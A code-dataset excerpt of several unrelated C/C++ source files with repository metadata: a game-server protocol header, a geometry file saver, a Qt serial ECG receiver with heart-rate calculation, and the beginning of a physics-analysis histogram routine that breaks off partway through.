DWORD dwSourceID;
DWORD dwTargetID;
SCORE lSwapScore;
SYSTEMTIME timeTransfer;
TCHAR szSourceName[LEN_NICKNAME];
TCHAR szTargetName[LEN_NICKNAME];
};
//银行失败
struct CMD_GP_UserInsureFailure
{
LONG lResultCode; //错误代码
TCHAR szDescribeString[128]; //描述消息
};
//提取结果
struct CMD_GP_UserTakeResult
{
DWORD dwUserID; //用户 I D
SCORE lUserScore; //用户金币
SCORE lUserInsure; //银行金币
};
//查询用户
struct CMD_GP_QueryUserInfoRequest
{
BYTE cbByNickName; //昵称赠送
TCHAR szNickName[LEN_NICKNAME]; //目标用户
};
//用户信息
struct CMD_GP_UserTransferUserInfo
{
DWORD dwTargetGameID; //目标用户
TCHAR szNickName[LEN_NICKNAME]; //目标用户
};
//密码验证
struct CMD_GP_CheckPassword
{
DWORD dwUserID;
TCHAR szPassword[LEN_PASSWORD];
};
//密码验证结果
struct CMD_GP_CheckPasswordReturn
{
bool bPasswordRight;
};
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//远程服务
#define MDM_GP_REMOTE_SERVICE 4 //远程服务
//查找服务
#define SUB_GP_C_SEARCH_DATABASE 100 //数据查找
#define SUB_GP_C_SEARCH_CORRESPOND 101 //协调查找
//查找服务
#define SUB_GP_S_SEARCH_DATABASE 200 //数据查找
#define SUB_GP_S_SEARCH_CORRESPOND 201 //协调查找
//////////////////////////////////////////////////////////////////////////////////
//协调查找
struct CMD_GP_C_SearchCorrespond
{
DWORD dwGameID; //游戏标识
TCHAR szNickName[LEN_NICKNAME]; //用户昵称
};
//协调查找
struct CMD_GP_S_SearchCorrespond
{
WORD wUserCount; //用户数目
tagUserRemoteInfo UserRemoteInfo[16]; //用户信息
};
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//VIP
#define SUB_GPR_VIP_INFO 610
#define SUB_GPR_VIP_EVERYDAY_GIFT 612
#define SUB_GPR_VIP_CHARGE_BACK 614
#define SUB_GPO_VIP_INFO 611
#define SUB_GPO_VIP_RESULT 613
struct CMD_GPR_VIPUser//610、612、614共用
{
DWORD dwUserID;
};
struct CMD_GPO_VIPInfo
{
BYTE cbVIPLevel;//VIP等级
BYTE cbReserved[3];//保留
DWORD dwVIPExp;//VIP经验
DWORD dwVIPNextExp;//升级需要经验
DWORD dwEverydayGift;//每日领取金币,如果为0,说明不能领取,或者已经领取
DWORD dwChargeBack;//充值返现金币,如果为0,说明当前没有返现
};
struct CMD_GPO_VIPResult
{
SCORE lScore;
char szDescription[1024];
};
#define SUB_GPR_CURRENT_SCORE 616 //从游戏返回到大厅
#define SUB_GPO_CURRENT_SCORE 617
struct CMD_GPR_CurrentScore
{
DWORD dwUserID;
};
struct CMD_GPO_CurrentScore
{
SCORE lCurrentScore;
int nLotteryCount;
BYTE cbCount;
BYTE cbCanGet;
BYTE cbVIPLevel;
DWORD dwVIPExp;
DWORD dwExpPerCent;
DWORD dwChargeBack;
};
#define SUB_GPR_LOGONGIFT 618 //登录奖励领取
#define SUB_GPO_LOGONGIFT 619 //收到登录领取奖励
struct CMD_GPR_LogonGift
{
DWORD dwUserID;
};
struct CMD_GPO_LogonGift
{
SCORE llCurrentScore;
char szDescription[128];
};
#define SUB_GPR_CHARGE1ST_REQUEST 620//首充成功
#define SUB_GPO_CHARGE1ST_REQUEST 621
#define SUB_GPR_CHARGE1ST_GET 622//领取首充礼包的奖励
#define SUB_GPO_CHARGE1ST_GET 623
struct CMD_GPR_Charge1stRequest
{
DWORD dwUserID;
};
struct CMD_GPO_Charge1stRequest
{
BYTE cbCount;
char szDescription[128];
};
struct CMD_GPR_Charge1stGet
{
DWORD dwUserID;
};
struct CMD_GPO_Charge1stGet
{
BYTE cbSuccess;
BYTE cbCount;
int nGiftScore;
SCORE lCurrentScore;
char szDescription[128];
};
#define SUB_GPR_CHARGE_SUCCESS 624
struct SUB_GPR_ChargeSuccess
{
DWORD dwUserID;
char szOrderID[40];
char szMD5[LEN_PASSWORD];
};
#define SUB_GP_WEALTH_BAG_TIME 625//福袋时间
#define SUB_GPR_WEALTH_BAG_ENROLL 626//报名
#define SUB_GPO_WEALTH_BAG_ENROLL 627//报名结果
#define SUB_GP_WEALTH_BAG_BEGIN 628//游戏开始
#define SUB_GP_WEALTH_BAG_END 629//游戏结束
#define SUB_GP_WEALTH_BAG_SCORE 630//客户端返回结果
#define SUB_GP_WEALTH_BAG_RESULT 631//服务端返回结果
#define SUB_GP_WEALTH_BAG_BEFORE 632
struct CMD_GPR_WealthBagEnroll
{
DWORD dwUserID;
TCHAR szNickName[LEN_NICKNAME]; //用户昵称
};
struct CMD_GPO_WealthBagScore
{
int nWealthBagScore;
};
struct CMD_GPO_WealthBagBefore
{
DWORD dwWealthBagBefore;
};
struct CMD_GPO_WealthBagEnroll
{
bool bCan;
};
struct CMD_GPR_WealthBagScore
{
DWORD dwUserID;
int nScore;
};
struct CMD_GPO_WealthBagResult
{
TCHAR szNickName[10][LEN_NICKNAME];
int nScore[10];
int nMyScore;
int nMyRank;
int nPlayerNum;
SCORE lCurrentScore;
};
#define SUB_GPR_SHARE_URL 633 //分享域名
#define SUB_GPO_SHARE_URL 634 //接收分享域名
struct CMD_GPR_ShareURL
{
char szURL[64];
char szContent[256];
};
#define SUB_GPR_SHARE_URL2 641 //分享域名
#define SUB_GPO_SHARE_URL2 642 //接收分享域名
struct CMD_GPR_ShareURL2
{
char szURL[64];
char szContent[256];
};
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//登录命令
#define MDM_MB_LOGON 100 //广场登录
//登录模式
#define SUB_MB_LOGON_GAMEID 1 //I D 登录
#define SUB_MB_LOGON_ACCOUNTS 2 //帐号登录
#define SUB_MB_REGISTER_ACCOUNTS 3 //注册帐号
//登录结果
#define SUB_MB_LOGON_SUCCESS 100 //登录成功
#define SUB_MB_LOGON_FAILURE 101 //登录失败
//升级提示
#define SUB_MB_UPDATE_NOTIFY 200 //升级提示
//////////////////////////////////////////////////////////////////////////////////
#define SUB_GP_LOGINING_INFO 201 //登录排队信息
#define SUB_GPR_CANCEL_LOGINING 7 //取消登录
struct CMD_GP_LoginingInfo
{
WORD wLoginingNum; //正在登录的人数
};
//I D 登录
struct CMD_MB_LogonGameID
{
//系统信息
WORD wModuleID; //模块标识
DWORD dwPlazaVersion; //广场版本
BYTE cbDeviceType; //设备类型
//登录信息
DWORD dwGameID; //游戏 I D
TCHAR szPassword[LEN_MD5]; //登录密码
//连接信息
TCHAR szMachineID[LEN_MACHINE_ID]; //机器标识
TCHAR szMobilePhone[LEN_MOBILE_PHONE]; //电话号码
};
//帐号登录
struct CMD_MB_LogonAccounts
{
//系统信息
WORD wModuleID; //模块标识
DWORD dwPlazaVersion; //广场版本
BYTE cbDeviceType; //设备类型
//登录信息
TCHAR szPassword[LEN_MD5]; //登录密码
TCHAR szAccounts[LEN_ACCOUNTS]; //登录帐号
//连接信息
TCHAR szMachineID[LEN_MACHINE_ID]; //机器标识
TCHAR szMobilePhone[LEN_MOBILE_PHONE]; //电话号码
};
//注册帐号
struct CMD_MB_RegisterAccounts
{
//系统信息
WORD wModuleID; //模块标识
DWORD dwPlazaVersion; //广场版本
BYTE cbDeviceType; //设备类型
//密码变量
TCHAR szLogonPass[LEN_MD5]; //登录密码
TCHAR szInsurePass[LEN_MD5]; //银行密码
//注册信息
WORD wFaceID; //头像标识
BYTE cbGender; //用户性别
TCHAR szAccounts[LEN_ACCOUNTS]; //登录帐号
TCHAR szNickName[LEN_NICKNAME]; //用户昵称
//连接信息
TCHAR szMachineID[LEN_MACHINE_ID]; //机器标识
TCHAR szMobilePhone[LEN_MOBILE_PHONE]; //电话号码
};
//登录成功
struct CMD_MB_LogonSuccess
{
WORD wFaceID; //头像标识
BYTE cbGender; //用户性别
DWORD dwUserID; //用户 I D
DWORD dwGameID; //游戏 I D
DWORD dwExperience; //经验数值
DWORD dwLoveLiness; //用户魅力
TCHAR szNickName[LEN_NICKNAME]; //用户昵称
};
//登录失败
struct CMD_MB_LogonFailure
{
LONG lResultCode; //错误代码
TCHAR szDescribeString[128]; //描述消息
};
//升级提示
struct CMD_MB_UpdateNotify
{
BYTE cbMustUpdate; //强行升级
BYTE cbAdviceUpdate; //建议升级
DWORD dwCurrentVersion; //当前版本
};
//////////////////////////////////////////////////////////////////////////////////
//列表命令
#define MDM_MB_SERVER_LIST 101 //列表信息
//列表信息
#define SUB_MB_LIST_KIND 100 //种类列表
#define SUB_MB_LIST_SERVER 101 //房间列表
#define SUB_MB_LIST_FINISH 200 //列表完成
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//道具
#define MDM_GP_ITEM 1000
//查询道具数量
#define SUB_GPR_QUERY_ITEM_COUNT 1
#define SUB_GPO_QUERY_ITEM_COUNT 1001
struct CMD_GPR_QueryItemCount
{
DWORD dwUserID;
};
struct CMD_GPO_QueryItemCount
{
int nChuJiCount;
int nZhongJiCount;
int nGaoJiCount;
int nTreasureMap;//藏宝图
int nCannonStatus;//炮台状态
int nJiaSu;//加速
int nSanShe;//散射
int nBaoJi;//暴击
};
//赠送道具
#define SUB_GPR_TRANSFER_ITEM 2
#define SUB_GPO_TRANSFER_ITEM 1002
struct CMD_GPR_TransferItem
{
DWORD dwUserID;
DWORD dwTargetGameID;
int nItemID;
int nItemCount;
TCHAR szPassword[LEN_MD5];
};
struct CMD_GPO_TransferItem
{
int nItemID;//赠送物品ID
int nSourceCount;//原来物品数量
int nVariationCount;//改变物品数量,与原来物品数量相加即为现在物品数量
int nResultCode;//处理结果
TCHAR szDescribeString[128];
};
//合成道具
#define SUB_GPR_COMBINE_ITEM 3
#define SUB_GPO_COMBINE_ITEM 1003
struct CMD_GPR_CombineItem
{
DWORD dwUserID;
int nCombineType;//1=合成小龙珠,2=合成大龙珠
};
struct CMD_GPO_CombineItem
{
int nDragonPieceCount;//龙珠碎片数量
int nSmallDragonCount;//小龙珠数量
int nBigDragonCount;//大龙珠数量
int nResultCode;//处理结果
TCHAR szDescribeString[128];
};
//使用龙珠道具
#define SUB_GPR_USE_DRAGON 4
#define SUB_GPO_USE_DRAGON 1004
struct CMD_GPR_UseDragon
{
DWORD dwUserID;
int nDragonType;//1小龙珠,2大龙珠
};
struct CMD_GPO_UseDragon
{
SCORE lCurrentScore;//当前分数
int nChuJiCount;
int nZhongJiCount;
int nGaoJiCount;
int nZhiZunCount;
int nResultCode;//处理结果
TCHAR szDescribeString[128];
};
//装备龙珠道具
#define SUB_GPR_EQUIPMENT_DRAGON 5
#define SUB_GPO_EQUIPMENT_DRAGON 1005
struct CMD_GPR_EquipmentDragon
{
DWORD dwUserID;
int nDragonType;//1小龙珠,2大龙珠
};
struct CMD_GPO_EquipmentDragon
{
int nEquipmentDragonCount;//装备的结果
int nChuJiCount;
int nZhongJiCount;
int nGaoJiCount;
int nZhiZunCount;
int nResultCode;//处理结果
TCHAR szDescribeString[128];
};
//道具兑换
#define SUB_GPR_EXCHANGE_LOTTERY 6
#define SUB_GPO_EXCHANGE_LOTTERY 1006
struct CMD_GPR_ExchangeLottery
{
DWORD dwUserID;
int nDragonType;//0初级珍珠,1中级珍珠,2高级珍珠,3至尊珍珠
};
struct CMD_GPO_ExchangeLottery
{
int nCurrentLottery;//当前奖券数量(兑换后)
int nChuJiCount;
int nZhongJiCount;
int nGaoJiCount;
int nZhiZunCount;
int nResultCode;//处理结果
TCHAR szDescribeString[128];
};
//道具
#define MDM_GP_SKILL 1001
#define SUB_GPR_QUERY_SKILL 1
#define SUB_GPO_QUERY_SKILL 1001
struct CMD_GPR_QuerySkill
{
DWORD dwUserID;
};
struct CMD_GPO_QuerySkill
{
int nCannonStatus;//炮台状态
int nJiaSu;//加速
int nSanshe;//散射
int nBaoji;//暴击
BYTE cbCount[3];//技能次数
};
#define SUB_GPR_NEW_GUID_QUERY 2
#define SUB_GPO_NEW_GUID_QUERY 1002
struct CMD_GPR_NewGuidQuery
{
DWORD dwUserID;
};
struct CMD_GPO_NewGuidQuery
{
bool bCan;
};
#define SUB_GPR_SUPER_GOLD 3
#define SUB_GPO_SUPER_GOLD 1003
struct CMD_GPR_SuperGold
{
DWORD dwUserID;
};
struct CMD_GPO_SuperGold
{
BYTE cbCan;
int nSuperGold;
};
//喇叭功能
#define SUB_GPR_BROAD_LABA 435
#define SUB_GPO_BROAD_LABA 436
struct CMD_GPR_BroadLaba
{
DWORD dwUserID;
WORD wSize;
char szNickName[64];
char szContent[1024];
};
struct CMD_GPO_BroadLaba
{
BYTE cbSuccess;
SCORE lUserScore;
char szContent[128];
};
#pragma pack()
#endif
| [
"775198283@qq.com"
] | 775198283@qq.com |
b02fb68118f16f2d4030496561720967a5de506d | da4cc98ed821ec4c41a0a29c926c0a97df3c0bff | /demo/geomlib/geomsaver.cpp | 8dbb3b990ee76abd2d64a3b68be22b33e0869a63 | [
"MIT"
] | permissive | rokuz/GraphicsDemo | 514d308ad147214480b53e58c47cfccb558a9cbd | 41300287cc9d2f7e4e0656348809db5b3c939ced | refs/heads/master | 2023-04-06T20:15:11.159235 | 2023-03-31T21:32:13 | 2023-03-31T21:32:13 | 17,832,703 | 11 | 4 | null | null | null | null | UTF-8 | C++ | false | false | 3,909 | cpp | /*
* Copyright (c) 2014 Roman Kuznetsov
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*/
#include "stdafx.h"
#include "geomsaver.h"
#include "json/json.h"
namespace geom
{
bool GeomSaver::save(const Data& data, const std::string& filename)
{
FILE* fp = 0;
fp = fopen(filename.c_str(), "wb");
if (!fp)
{
return false;
}
fwrite(&MAGIC_GEOM, sizeof(MAGIC_GEOM), 1, fp);
float fbuf[3] = { data.getBoundingBox().vmin.x, data.getBoundingBox().vmin.y, data.getBoundingBox().vmin.z };
fwrite(&fbuf, sizeof(fbuf), 1, fp);
float fbuf2[3] = { data.getBoundingBox().vmax.x, data.getBoundingBox().vmax.y, data.getBoundingBox().vmax.z };
fwrite(&fbuf2, sizeof(fbuf2), 1, fp);
size_t componentsCount = data.getVertexComponentsCount();
fwrite(&componentsCount, sizeof(componentsCount), 1, fp);
size_t uvs = data.getAdditionalUVsCount();
fwrite(&uvs, sizeof(uvs), 1, fp);
size_t vertexSize = data.getVertexSize();
fwrite(&vertexSize, sizeof(vertexSize), 1, fp);
for (size_t c = 0; c < componentsCount; c++)
{
size_t vcs = data.getVertexComponentSize(c);
fwrite(&vcs, sizeof(vcs), 1, fp);
size_t vco = data.getVertexComponentOffset(c);
fwrite(&vco, sizeof(vco), 1, fp);
}
size_t meshesCount = data.getMeshes().size();
fwrite(&meshesCount, sizeof(meshesCount), 1, fp);
for (size_t m = 0; m < meshesCount; m++)
{
fwrite(&data.getMeshes()[m].offsetInIB, sizeof(data.getMeshes()[m].offsetInIB), 1, fp);
fwrite(&data.getMeshes()[m].indicesCount, sizeof(data.getMeshes()[m].indicesCount), 1, fp);
}
size_t vbsize = data.getVertexBuffer().size();
fwrite(&vbsize, sizeof(vbsize), 1, fp);
fwrite(data.getVertexBuffer().data(), vbsize, 1, fp);
size_t ibsize = data.getIndexBuffer().size() * sizeof(unsigned int);
fwrite(&ibsize, sizeof(ibsize), 1, fp);
fwrite(data.getIndexBuffer().data(), ibsize, 1, fp);
fclose(fp);
saveMaterial(data, utils::Utils::trimExtention(filename) + ".material");
return true;
}
void GeomSaver::saveMaterial(const Data& data, const std::string& filename)
{
bool hasMaterial = false;
auto meshes = data.getMeshes();
for (size_t i = 0; i < meshes.size(); i++)
{
if (!meshes[i].material.diffuseMapFilename.empty() ||
!meshes[i].material.normalMapFilename.empty() ||
!meshes[i].material.specularMapFilename.empty()) hasMaterial = true;
}
if (hasMaterial)
{
FILE* fp = 0;
fp = fopen(filename.c_str(), "w");
if (!fp) return;
Json::Value root;
for (size_t i = 0; i < meshes.size(); i++)
{
Json::Value mat;
mat["diffuseMap"] = meshes[i].material.diffuseMapFilename;
mat["normalMap"] = meshes[i].material.normalMapFilename;
mat["specularMap"] = meshes[i].material.specularMapFilename;
root.append(mat);
}
Json::StyledWriter writer;
std::string data = writer.write(root);
fwrite(data.c_str(), data.length(), 1, fp);
fclose(fp);
}
}
} | [
"r.kuznetsow@gmail.com"
] | r.kuznetsow@gmail.com |
a7341c248fab69d31d831cefcbbe5054cdf52c57 | b5a16a3a2c4b8b96cc0d8ba0691a6ae5a0071edf | /serialreceiver.cpp | 9c827f56f8617d4f199163134aedc0a19de2d37a | [] | no_license | ssh555/HelpMe | 8b8cfc5f4eb1833b4f7d93424005dd2cc4b5e67c | d166097601d17ec6b85360f48d6316d2db238b46 | refs/heads/main | 2023-08-28T18:07:57.414685 | 2021-09-01T08:06:05 | 2021-09-01T08:06:05 | 402,243,577 | 0 | 0 | null | 2021-09-02T00:44:50 | 2021-09-02T00:44:49 | null | UTF-8 | C++ | false | false | 6,442 | cpp | #include "serialreceiver.h"
#include <QtSerialPort/QSerialPort>
#include <QtSerialPort/QSerialPortInfo>
#include <QDebug>
#include <QDateTime>
SerialReceiver::SerialReceiver(QWidget *parent) : QWidget(parent)
{
ecg2Bpm = 75;
this->status=-1;
if( 0 != this->Serial_Init() ){
qDebug() << "Receiver: serialInit error!";
return;
}
}
SerialReceiver::SerialReceiver(const QString &comName, QWidget *parent) : QWidget(parent)
{
ecg2Bpm = 75;
this->status=-1;
serialportName = comName;
if( 0 != this->Serial_Init() ){
qDebug() << "Receiver: serialInit error!";
return;
}
}
int SerialReceiver::Serial_Init(void)
{
// 打印串口信息
// foreach: 标准C++中没有这个关键字
// qt自己实现了这个关键字,如下会便利availablePorts,并把每个结果依次赋值给info,有点像for
foreach(const QSerialPortInfo &info, QSerialPortInfo::availablePorts())
{
qDebug() << "Name : " << info.portName();
qDebug() << "Description : " << info.description();
qDebug() << "Manufacturer: " << info.manufacturer();
qDebug() << "Serial Number: " << info.serialNumber();
}//执行完应该在应用程序输出位置看到串口数据,需要先启动串口模拟器,并创建串口
// 创建串口对象, 在头文件中定义了指针
com = new QSerialPort();
// 配置串口号
com->setPortName(this->serialportName);
// 尝试打开串口
if(!com->open(QIODevice::ReadWrite))
{
qDebug() << "serial open err: " << this->serialportName;
return -1;
}
else
qDebug()<<"serial open success:"<<com->portName();
// 配置串口参数
// 波特率=115200, 每秒钟发送115200个bit,方向=双向均采用这个波特率
com->setBaudRate(QSerialPort::Baud115200, QSerialPort::AllDirections);
// 数据位
com->setDataBits(QSerialPort::Data8);
// 流控=无
com->setFlowControl(QSerialPort::NoFlowControl);
// 校验位=无
com->setParity(QSerialPort::NoParity);
// 停止位=1
com->setStopBits(QSerialPort::OneStop);
// 关联信号与槽函数
// 当串口发出"可读"信号时,执行serialRx函数
connect(com, &QSerialPort::readyRead, this, &SerialReceiver::Serial_Rx);
return 0;
}
void SerialReceiver::Serial_Rx()
{
QByteArray data = 0;
// 读串口数据并处理
while (!com->atEnd())
{
QByteArray data = this->com->read(1);
this->RxData_Handle(data[0]);
if (this->status == 4)
{
// 发送信号画波形
emit Signal_ECG_Received( ecg2, ecg2, ecg2 );
// 计算心率,发送心率
ECG_BPM_Calc( ecg2 );
emit Signal_BPM_Received( ecg2Bpm, ecg2Bpm, ecg2Bpm );
}
}
}
void SerialReceiver::RxData_Handle(char data)
{
char dataTmp;
data = data&0x0FF;
int datamask = data&0x80;
if(datamask == 0x00)//最高位为0
this->status = 0;
//qDebug("status:%d,data:%02X,datamask:%02X",this->status,data&0xFF,datamask);
switch(this->status)
{
case 0:
if (data == 0x08)//ECG
{
this->status = 1;
this->pkgHead = data;
this->pkgDataCnt = 0;
// qDebug()<<"get pkgHead";
}else
{
// qDebug()<<"unknown cmdId"<<data;
}
break;
case 1:
this->status = 2;
this->pkgDataHead = data;
// qDebug()<<"get pkgDataHead";
break;
case 2:
dataTmp = data & 0x7F; //保留数据的第7位
// 第1个数据的最高位在数据头的最低位中,数据头里保存着数据的最高位所以先根据已经取到几个数据了就向左移动几位让它移动到最后再与01与,就可以
//得到这个数,最后再向左移动7位回到最高位,这样这个数据就还原了。
dataTmp = dataTmp | (((this->pkgDataHead >> this->pkgDataCnt) & 0x01) << 7);
this->pkgData[this->pkgDataCnt] = dataTmp; // 缓存解析后的数据
this->pkgDataBuf[this->pkgDataCnt] = data; // 缓存解析前的数据
// 计数器中的值为数据头后面有效数据的字符数
this->pkgDataCnt = this->pkgDataCnt + 1;
// 根据通信协议可知数据长度最大为7
if (this->pkgDataCnt >= 7)
this->status = 3;
break;
case 3:
// 得到ecg数据
ecg1 = this->pkgData[0];
ecg1 = ecg1 << 8;
ecg1 = ecg1 + this->pkgData[1];
ecg2 = this->pkgData[2];
ecg2 = ecg1 << 8;
ecg2 = ecg1 + this->pkgData[3];
ecg3 = this->pkgData[4];
ecg3 = ecg3 << 8;
ecg3 = ecg3 + this->pkgData[5];
this->status = 4;
break;
}
}
void SerialReceiver::ECG_BPM_Calc(int ecgData)
{
// 计算脉搏最高值
ecg2Buff[ecg2BuffIndex] = ecgData;
ecg2BuffIndex = ecg2BuffIndex + 1;
if(ecg2BuffIndex >= sizeof(ecg2Buff)/sizeof(int)) // 缓冲区过大会有问题
{
ecg2BuffIndex = 0; // 循环缓冲区,用于计算脉搏中值
ecg2PulseMax = Get_Max(ecg2Buff, sizeof(ecg2Buff)/sizeof(int));
ecg2PulseMid = (ecg2Zero + ecg2PulseMax)/2; // ecg2Zero 是已知的
}
// 找到脉搏
prePulse = pulse;
if (ecgData > ecg2PulseMid)
pulse = 1;
else
pulse = 0;
// 找到脉搏上升沿中值
if (prePulse == 0 && pulse == 1)
{
pulseStart = pulseEnd;
pulseEnd = QDateTime::currentMSecsSinceEpoch();// current
// 计算相邻2次脉搏的时间差
// 求出心率
ecg2Period = pulseEnd - pulseStart; //
ecg2Bpm = (int)(60000.00/ecg2Period); // 心率,即每分钟脉搏数量
}
}
int SerialReceiver::Get_Max(int * data, int len)
{
// todo
int first = data[0];
for(int i = 0;i < len;i++){
int tem = data[i+1];
if( first < data[i+1]){
first = data[i+1];
}
}
return first;
}
| [
"noreply@github.com"
] | ssh555.noreply@github.com |
9c35f6b2199f94b17869fe77ca109fd330bc9556 | f368c6d512a8a5e13c35f9dd3059ae35820b1a34 | /src/CalHistograms.cc | 18b5263ee2add99a58b2faf76024627d797bd553 | [] | no_license | wimmer-k/GrROOT | 5900907fb09d1d209d7b77ced28c6af32efe554f | c02456f16aa663991cb688afc88ba6798240ce6e | refs/heads/master | 2021-01-10T02:18:35.691171 | 2015-12-15T11:49:24 | 2015-12-15T11:49:24 | 45,190,497 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 32,742 | cc | ////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////
//////////// GrROOT
////////////
//////////// Purpose:
//////////// To assist in the analysis of data from
//////////// the gretina/S800 experimental setup.
////////////
//////////// Current Maintainers:
//////////// Kathrin Wimmer (wimmer@phys.s.u-tokyo.ac.jp)
//////////// Eric Lunderberg (lunderberg@nscl.msu.edu)
////////////
//////////// Distribution:
//////////// Please do not redistribute this software directly.
//////////// If someone new wants a copy of this software,
//////////// email one of the maintainers for the download link.
//////////// This allows us to keep track of who has the software,
//////////// and properly distribute updates and bug fixes.
////////////
//////////// Suggestions:
//////////// We view the development of the software as a collaborative
//////////// effort, and as such, welcome and appreciate any suggestions
//////////// for bug fixes and improvements.
////////////
//////////// Disclaimer:
//////////// This software is provided as-is, with no warranty.
//////////// No current or future support is guaranteed for this software.
////////////
////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
#include <iostream>
#include <iomanip>
#include <string.h>
#include <sys/time.h>
#include "TFile.h"
#include "TTree.h"
#include "TChain.h"
#include "TH1F.h"
#include "TH2F.h"
#include "TH2S.h"
#include "TH1S.h"
#include "TProfile.h"
#include "TCanvas.h"
#include "TPad.h"
#include "TStyle.h"
#include "TROOT.h"
#include "TMath.h"
#include "TCutG.h"
#include "TEnv.h"
#include "TKey.h"
#include "TDirectory.h"
#include "CommandLineInterface.hh"
#include "S800Calc.hh"
#include "GretinaCalc.hh"
#include "Mode3Calc.hh"
#include "Scaler.hh"
#include "CalHistograms.hh"
using namespace TMath;
using namespace std;
//not nice but works at least
static TCutG* TimeCut;
static bool foundTCut = false;
void CalHistograms::FillHistograms(GretinaCalc* gr, S800Calc* s800, Mode3Calc* m3c){
//bool hass800 = s800->GetTimeS800()!=0;
bool hasgret = gr->GetMult()>0;
//Declare the histograms here.
static vector<TCutG*> InPartCut;
static vector<vector<TCutG*> > OutPartCut;
static PAD* pad[2];
static PPAC* ppac[2];
static IC* ich;
static SCINT* scint;
static TOF* tof;
static TRACK* track;
static IITRACK* iitrack;
static HODO* hodo;
static bool foundCuts = false;
static bool NoInCuts = false;
if (!foundCuts){
//Read in the cuts file for incoming and outgoing particle ID
if(fhasfile){
cout << "Cuts were created for ";
if (ftac&(1<<0))
cout << "TDC";
else
cout << "TAC";
cout << " data and are applied to the ";
if (ftac&(1<<1))
cout << "XFP";
else
cout << "OBJ";
cout << " scintillator" << endl;
//Remember the current directory so that we can revert to it later.
TDirectory* outfile = gDirectory;
char* Name = NULL;
char* Name2 = NULL;
TFile *cFile = new TFile(fcutfile);
TIter next(cFile->GetListOfKeys());
TKey *key;
while((key=(TKey*)next())){
if(strcmp(key->GetClassName(),"TCutG") == 0){
Name = (char*)key->GetName();
if(strstr(Name,"in") && !strstr(Name,"out")){
cout << "incoming cut found "<<Name << endl;
InPartCut.push_back((TCutG*)cFile->Get(Name));
}
if(strstr(Name,"tgam")){
cout << "timing cut found "<<Name << endl;
TimeCut = (TCutG*)cFile->Get(Name);
foundTCut = true;
}
}
}
TIter next2(cFile->GetListOfKeys());
if(InPartCut.size()>0){
OutPartCut.resize(InPartCut.size());
while((key=(TKey*)next2())){
if(strcmp(key->GetClassName(),"TCutG") == 0){
Name = (char*)key->GetName();
if(strstr(Name,"in") && strstr(Name,"out")){
for(unsigned short i=0;i<InPartCut.size();i++){
Name2 = (char*)InPartCut[i]->GetName();
if(strstr(Name,strstr(Name2,Name2))){
OutPartCut[i].push_back((TCutG*)cFile->Get(Name));
cout << "outgoing cut found "<<Name << endl;
}
}
}
}
}
}
else{
OutPartCut.resize(1);
while((key=(TKey*)next2())){
if(strcmp(key->GetClassName(),"TCutG") == 0){
Name = (char*)key->GetName();
if(!strstr(Name,"in") && strstr(Name,"out")){
OutPartCut[0].push_back((TCutG*)cFile->Get(Name));
cout << "outgoing cut found (no incoming!) "<<Name << endl;
NoInCuts = true;
}
}
}
}
cFile->Close();
outfile->cd();
foundCuts = true;
cout << "Cuts found" << endl;
}
}
//-------------------------------------------------------------------------
//*************************************************************************
//Fill the histograms here.
//*************************************************************************
//-------------------------------------------------------------------------
int hp = s800->GetRegistr();
FillI("registr",16,0,16,hp);
for(int j=0;j<16;j++){
if(hp & (1<<j))
FillI("trigbit",16,0,16,j);
}
ich = s800->GetIC();
tof = s800->GetTOF();
track = s800->GetTRACK();
iitrack = s800->GetIITRACK();
hodo = s800->GetHODO();
for(UShort_t p=0; p<2;p++){
pad[p] = s800->GetPAD(p);
ppac[p] = s800->GetPPAC(p);
}
FillHistogramsNoGate(gr,s800,m3c);
FillHistogramsGateIn(gr,s800,m3c,"all");
FillHistogramsGateOut(gr,s800,m3c,"all");
for(UShort_t in=0;in<InPartCut.size();in++){ // loop over incoming cuts
if( (ftac%2==1 && InPartCut[in]->IsInside(tof->GetOBJ(),tof->GetXFP()))
|| (ftac%2==0 && InPartCut[in]->IsInside(tof->GetTACOBJ(),tof->GetTACXFP())) ){
const char* inname = InPartCut[in]->GetName();
FillHistogramsGateIn(gr,s800,m3c,inname);
if(hasgret){
FillHistogramsGateIn(gr,s800,m3c,Form("%s_coinc",inname));
}
FillHistogramsGateOut(gr,s800,m3c,inname);
for(UShort_t ou=0;ou<OutPartCut[in].size();ou++){ // loop over PID cuts
if((ftac == 1 && OutPartCut[in][ou]->IsInside(tof->GetOBJC(),ich->GetDE()))
||(ftac == 0 && OutPartCut[in][ou]->IsInside(tof->GetTACOBJC(),ich->GetDE()))
||(ftac == 3 && OutPartCut[in][ou]->IsInside(tof->GetXFPC(),ich->GetDE()))
||(ftac == 2 && OutPartCut[in][ou]->IsInside(tof->GetTACXFPC(),ich->GetDE()))){
const char* outname = OutPartCut[in][ou]->GetName();
FillHistogramsGateOut(gr,s800,m3c,outname);
